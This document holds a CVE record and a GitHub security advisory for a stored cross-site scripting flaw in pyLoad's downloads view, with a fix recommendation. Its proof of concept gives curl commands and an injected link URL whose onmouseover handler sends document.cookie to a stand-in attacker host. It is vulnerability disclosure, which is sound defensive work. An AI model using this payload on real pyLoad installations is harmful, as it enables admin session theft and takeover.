{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator\u0027s browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers. This vulnerability is fixed in 0.5.0b3.dev100."
    }
  ],
  "id": "CVE-2026-45348",
  "lastModified": "2026-05-28T20:16:24.857",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 5.8,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-28T18:16:35.437",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-fcjq-435v-jx94"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-fcjq-435v-jx94"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3.dev99"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45348"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:23:51Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `packages.js` template at `src/pyload/webui/app/themes/modern/templates/js/packages.js:172` interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via `$(div).html(html)`. No escaping runs between the API value and `innerHTML`. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator\u0027s browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers.\n\n## Details\n\n**Sink**: `src/pyload/webui/app/themes/modern/templates/js/packages.js:165-188`:\n\n```javascript\nconst html = `\n    \u003cspan class=\u0027child_status\u0027\u003e\n      \u003cspan style=\u0027margin-right: 2px;color: #337ab7;\u0027 class=\u0027${link.icon}\u0027\u003e\u003c/span\u003e\n    \u003c/span\u003e\n    \u003cspan style=\u0027font-size: 16px; font-weight: bold;\u0027\u003e\n      \u003ca onclick=\u0027return false\u0027 href=\u0027${link.url}\u0027\u003e${link.name}\u003c/a\u003e\n    \u003c/span\u003e\u003cbr/\u003e\n    \u003cdiv class=\u0027child_secrow\u0027 ...\u003e\n      \u003cspan class=\u0027child_status\u0027 ...\u003e${link.statusmsg}\u003c/span\u003e\u0026nbsp;${link.error}\u0026nbsp;\n      \u003cspan class=\u0027child_status\u0027 ...\u003e${link.format_size}\u003c/span\u003e\n      \u003cspan class=\u0027child_status\u0027 ...\u003e ${link.plugin}\u003c/span\u003e...\n    \u003c/div\u003e`;\n\nconst div = document.createElement(\"div\");\n$(div).attr(\"id\", `file_${link.id}`);\n$(div).css(\"padding-left\", \"30px\");\n$(div).css(\"cursor\", \"grab\");\n$(div).addClass(\"child\");\n$(div).html(html);\n```\n\n`link.url` flows in from `/api/get_package_data`, which returns the URL exactly as stored. Seven other fields on the same element (`link.name`, `link.statusmsg`, `link.error`, `link.format_size`, `link.plugin`, `link.icon`, `link.id`) share the same unescaped injection surface.\n\n**Source**: `src/pyload/core/api/__init__.py:541-600` (`add_package`) and the `/api/add_package` JSON route store the attacker-supplied `links` list without HTML escaping. The `add_package` URL sanitizer only strips `http://`, `https://`, `../`, `..\\\\`, `:`, and `/` from the folder *name*, not the link URL itself.\n\n**Mitigation gap**: `src/pyload/webui/app/__init__.py:63-72` sets security headers but has no `Content-Security-Policy` header. The only script-related header is `X-XSS-Protection`, which is a no-op on modern browsers.\n\n## Proof of Concept\n\n**Actor**: Alice (authenticated user with `Perms.ADD`). Reproduces against pyload 0.5.0-dev at `f081a16`.\n\n```bash\nTARGET=\"http://\u003cpyload-host\u003e:\u003cport\u003e\"\n\n# Alice logs in.\nCSRF=$(curl -sS -c /tmp/alice.jar \"$TARGET/login\" | grep -oP \u0027name=\"csrf_token\" value=\"\\K[^\"]+\u0027)\ncurl -sS -b /tmp/alice.jar -c /tmp/alice.jar -X POST \"$TARGET/login\" \\\n    -d \"csrf_token=$CSRF\u0026do=login\u0026username=alice\u0026password=alice123\" -o /dev/null\nAPI_CSRF=$(curl -sS -b /tmp/alice.jar \"$TARGET/\" | grep -oP \u0027name=\"csrf-token\" content=\"\\K[^\"]+\u0027)\n\n# Alice creates a package whose link URL breaks out of the href attribute\n# and installs an onmouseover payload.\ncurl -sS -b /tmp/alice.jar -X POST \"$TARGET/api/add_package\" \\\n    -H \"X-CSRFToken: $API_CSRF\" -H \"Content-Type: application/json\" \\\n    -d $\u0027{\"name\":\"xss-pkg\",\"links\":[\"http://x\\\u0027 onmouseover=\\\u0027fetch(`//attacker.example/`+document.cookie)\"]}\u0027\n```\n\nThe package lands in the collector (the default destination). Alice can also pass `\"dest\":1` to place it in the queue instead. Both `/collector` and `/queue` render the same `packages.html` template, which loads `packages.js`.\n\nWhen any user (including the admin `pyload`) opens `/collector` or `/queue` and hovers the injected file row, the browser parses the anchor as:\n\n```html\n\u003ca onclick=\u0027return false\u0027 href=\u0027http://x\u0027 onmouseover=\u0027fetch(`//attacker.example/`+document.cookie)\u0027\u003ehttp://x\u0027 onmouseover=\u0027fetch(`//attacker.example/`+document.cookie)\u003c/a\u003e\n```\n\nThe `onmouseover` handler fires on hover and exfiltrates the session cookie. A `javascript:` URL in the `href` triggers on click without hover.\n\n## Impact\n\nAny user who can reach `/api/add_package` (which covers the `Perms.ADD` role, the common baseline for operator users) plants JavaScript that runs in an admin\u0027s browser the next time that admin opens the downloads view. The admin\u0027s session cookie is in the same origin, so Alice receives it directly. Holding the admin cookie, Alice hits every admin-only endpoint: arbitrary plugin upload, configuration rewrite, reconnect-script RCE, and so on. The attack is stored, persists across reboots, and does not require any interaction from the victim beyond visiting `/collector` or `/queue`, the two pages operators use constantly.\n\nThe CNL Blueprint exposes a sibling attack surface: when pyload runs with the ClickNLoad handler enabled, an unauthenticated network attacker calls `POST /flash/add` with the same injected URL and reaches the same sink without logging in.\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N` (High, 8.3). CWE-79.\n\n## Recommended Fix\n\nTwo changes.\n\nFirst, escape every `${link.*}` interpolation in the template. jQuery\u0027s `.text()` escapes by default; structure the render so attacker-controlled strings never reach `.html()`:\n\n```javascript\nconst a = $(\"\u003ca/\u003e\").attr(\"href\", link.url).text(link.name);\nconst status = $(\"\u003cspan/\u003e\").text(link.statusmsg);\n// ... build the DOM with .text() / .attr() calls ...\n$(div).append(a).append(status);\n```\n\nIf keeping the template-literal style, at minimum wrap every `${link.*}` in a helper that HTML-escapes:\n\n```javascript\nconst esc = (s) =\u003e String(s).replace(/\u0026/g, \"\u0026amp;\").replace(/\u003c/g, \"\u0026lt;\")\n    .replace(/\u003e/g, \"\u0026gt;\").replace(/\"/g, \"\u0026quot;\").replace(/\u0027/g, \"\u0026#39;\");\n```\n\nSecond, deploy a strict CSP. `default-src \u0027self\u0027; script-src \u0027self\u0027; object-src \u0027none\u0027; base-uri \u0027self\u0027; frame-ancestors \u0027self\u0027` kills the inline-handler class entirely, and pyload\u0027s own assets already load from `\u0027self\u0027`.\n\nAudit the sibling templates (`queue.js`, `dashboard.js`, all admin themes) for the same pattern.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-fcjq-435v-jx94",
  "modified": "2026-05-14T20:23:51Z",
  "published": "2026-05-14T20:23:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-fcjq-435v-jx94"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyLoad is vulnerable to stored XSS in Downloads view via unsanitized link URL in packages.js template literal"
}